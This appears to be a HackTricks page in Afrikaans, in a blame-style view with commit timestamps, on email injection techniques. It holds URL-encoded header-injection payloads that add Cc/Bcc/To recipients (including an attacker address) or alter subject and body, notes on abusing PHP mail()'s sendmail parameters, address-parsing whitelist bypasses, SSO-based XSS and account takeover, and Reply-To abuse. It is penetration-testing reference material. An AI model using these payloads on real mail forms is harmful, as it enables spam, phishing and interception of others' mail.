hacktricks/pentesting-web/email-injections.md

175 lines
9.8 KiB
Markdown
Raw Normal View History

# Email Injections
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections) om maklik **werkvloei** te bou en te **automate** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskap gereedskap.\
Kry Toegang Vandag:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Inject in gestuurde e-pos
### Inject Cc en Bcc na sender argument
2021-11-27 01:09:08 +00:00
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
2024-02-11 02:07:06 +00:00
Die boodskap sal na die ontvanger en ontvanger1 rekeninge gestuur word.
### Inject argument
2021-11-27 01:09:08 +00:00
```
From:sender@domain.com%0ATo:attacker@domain.com
```
Die boodskap sal na die oorspronklike ontvanger en die aanvaller rekening gestuur word.
### Injeksie Onderwerp argument
2021-11-27 01:09:08 +00:00
```
2021-05-03 18:33:45 +00:00
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
Die vals onderwerp sal by die oorspronklike onderwerp gevoeg word en in sommige gevalle dit vervang. Dit hang af van die e-posdiens se gedrag.
2024-02-11 02:07:06 +00:00
### Verander die liggaam van die boodskap
Inspuit 'n twee-lyn voeding, skryf dan jou boodskap om die liggaam van die boodskap te verander.
2021-11-27 01:09:08 +00:00
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### PHP mail() funksie eksploitering
2021-11-27 01:09:08 +00:00
```bash
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
2024-02-11 02:07:06 +00:00
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
2021-11-27 01:09:08 +00:00
}
```
2024-02-11 02:07:06 +00:00
#### Die 5de parameter ($additional\_parameters)
2021-11-27 01:09:08 +00:00
Hierdie afdeling gaan gebaseer wees op **hoe om hierdie parameter te misbruik, veronderstel dat 'n aanvaller dit beheer**.
2021-11-27 01:09:08 +00:00
Hierdie parameter gaan by die opdraglyn gevoeg word wat PHP gaan gebruik om die binêre sendmail aan te roep. Dit sal egter gesuiwer word met die funksie `escapeshellcmd($additional_parameters)`.
2021-11-27 01:09:08 +00:00
'n Aanvaller kan **uittrekparameters vir sendmail inspuit** in hierdie geval.
2021-11-27 01:09:08 +00:00
2024-02-11 02:07:06 +00:00
#### Verskille in die implementering van /usr/sbin/sendmail
2021-11-27 01:09:08 +00:00
**sendmail** koppelvlak word **verskaf deur die MTA e-pos sagteware** (Sendmail, Postfix, Exim ens.) wat op die stelsel geïnstalleer is. Alhoewel die **basiese funksionaliteit** (soos -t -i -f parameters) dieselfde bly vir kompatibiliteitsredes, **verskil ander funksies en parameters** baie, afhangende van die geïnstalleerde MTA.
2021-11-27 01:09:08 +00:00
Hier is 'n paar voorbeelde van verskillende manbladsye van die sendmail opdrag/koppelvlak:
2021-11-27 01:09:08 +00:00
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
Afhangende van die **oorsprong van die sendmail** binêre is verskillende opsies ontdek om dit te misbruik en l**eak lêers of selfs arbitrêre opdragte** uit te voer. Kyk hoe in [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
2021-11-27 01:09:08 +00:00
## Inspuit in die e-pos naam
2022-12-29 12:18:46 +00:00
### Geignoreerde dele van 'n e-pos
2022-12-29 12:18:46 +00:00
Die simbole: **+, -** en **{}** kan in seldsame gevalle gebruik word vir etikettering en word deur die meeste e-pos bedieners geignoreer.
2022-12-29 12:18:46 +00:00
* Byvoorbeeld: john.doe+intigriti@example.com → john.doe@example.com
2022-12-29 12:18:46 +00:00
**Kommentaar tussen hakies ()** aan die begin of die einde sal ook geignoreer word.
2022-12-29 12:18:46 +00:00
* Byvoorbeeld: john.doe(intigriti)@example.com → john.doe@example.com
2022-12-29 12:18:46 +00:00
### Whitelist omseiling
2022-12-29 12:18:46 +00:00
<figure><img src="../.gitbook/assets/image (812).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
2022-12-29 12:18:46 +00:00
### Aanhalings
2022-12-29 12:18:46 +00:00
<figure><img src="../.gitbook/assets/image (626).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
2022-12-29 12:18:46 +00:00
### IP's
2022-12-29 12:18:46 +00:00
Jy kan ook IP's as domeinnames tussen vierkante hakies gebruik:
2022-12-29 12:18:46 +00:00
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
2024-02-11 02:07:06 +00:00
### Ander kwesbaarhede
2022-12-29 12:18:46 +00:00
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (1131).png>)
2022-12-29 12:18:46 +00:00
## Derdeparty SSO
2022-12-29 12:18:46 +00:00
### XSS
Sommige dienste soos **github** of **salesforce laat** jou toe om 'n **e-pos adres met XSS payloads daarop** te skep. As jy **hierdie verskaffers kan gebruik om in te log op ander dienste** en hierdie dienste **nie korrek sanitiseer** die e-pos nie, kan jy **XSS** veroorsaak.
2022-12-29 12:18:46 +00:00
### Rekening-Oorname
2022-12-29 12:18:46 +00:00
As 'n **SSO diens** jou toelaat om **'n rekening te skep sonder om die gegewe e-pos adres te verifieer** (soos **salesforce**) en dan kan jy daardie rekening gebruik om **in te log in 'n ander diens** wat **vertrou** op salesforce, kan jy enige rekening toegang.\
Let daarop dat salesforce aandui of die gegewe e-pos verifieer is of nie, maar die toepassing moet hierdie inligting in ag neem.
2022-12-29 12:18:46 +00:00
## Antwoord-Na
2022-12-29 12:18:46 +00:00
Jy kan 'n e-pos stuur met _**From: company.com**_ en _**Replay-To: attacker.com**_ en as enige **outomatiese antwoord** gestuur word omdat die e-pos **van** 'n **interne adres** gestuur is, mag die **aanvaller** in staat wees om daardie **antwoord** te **ontvang**.
2022-12-29 12:18:46 +00:00
## Hard Bounce Tarief
2022-12-29 12:18:46 +00:00
Sekere dienste, soos AWS, implementeer 'n drempel bekend as die **Hard Bounce Tarief**, wat tipies op 10% gestel word. Dit is 'n kritieke maatstaf, veral vir e-pos afleweringsdienste. Wanneer hierdie tarief oorskry word, kan die diens, soos AWS se e-pos diens, opgeskort of geblokkeer word.
2022-12-29 12:18:46 +00:00
'n **hard bounce** verwys na 'n **e-pos** wat aan die sender teruggestuur is omdat die ontvanger se adres ongeldig of nie-bestaande is. Dit kan om verskeie redes gebeur, soos die **e-pos** wat na 'n nie-bestaande adres gestuur word, 'n domein wat nie werklik is nie, of die ontvanger se bediener se weiering om **e-posse** te aanvaar.
2022-12-29 12:18:46 +00:00
In die konteks van AWS, as jy 1000 e-posse stuur en 100 daarvan lei tot hard bounces (as gevolg van redes soos ongeldig adres of domeine), beteken dit 'n 10% hard bounce tarief. Om hierdie tarief te bereik of te oorskry kan AWS SES (Simple Email Service) laat blokkeer of jou e-pos stuur vermoëns opskort.
2024-02-05 20:00:40 +00:00
Dit is van kardinale belang om 'n lae hard bounce tarief te handhaaf om ononderbroke e-pos diens te verseker en sender reputasie te handhaaf. Monitering en bestuur van die kwaliteit van die e-pos adresse in jou poslyste kan aansienlik help om dit te bereik.
2024-02-05 20:00:40 +00:00
Vir meer gedetailleerde inligting kan AWS se amptelike dokumentasie oor die hantering van bounces en klagtes geraadpleeg word [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
2022-12-29 12:18:46 +00:00
2024-02-11 02:07:06 +00:00
## Verwysings
2021-11-27 01:09:08 +00:00
2022-12-29 12:18:46 +00:00
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Ondersteun HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections) om maklik te bou en **werkvloei te outomatiseer** wat deur die wêreld se **mees gevorderde** gemeenskap gereedskap aangedryf word.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}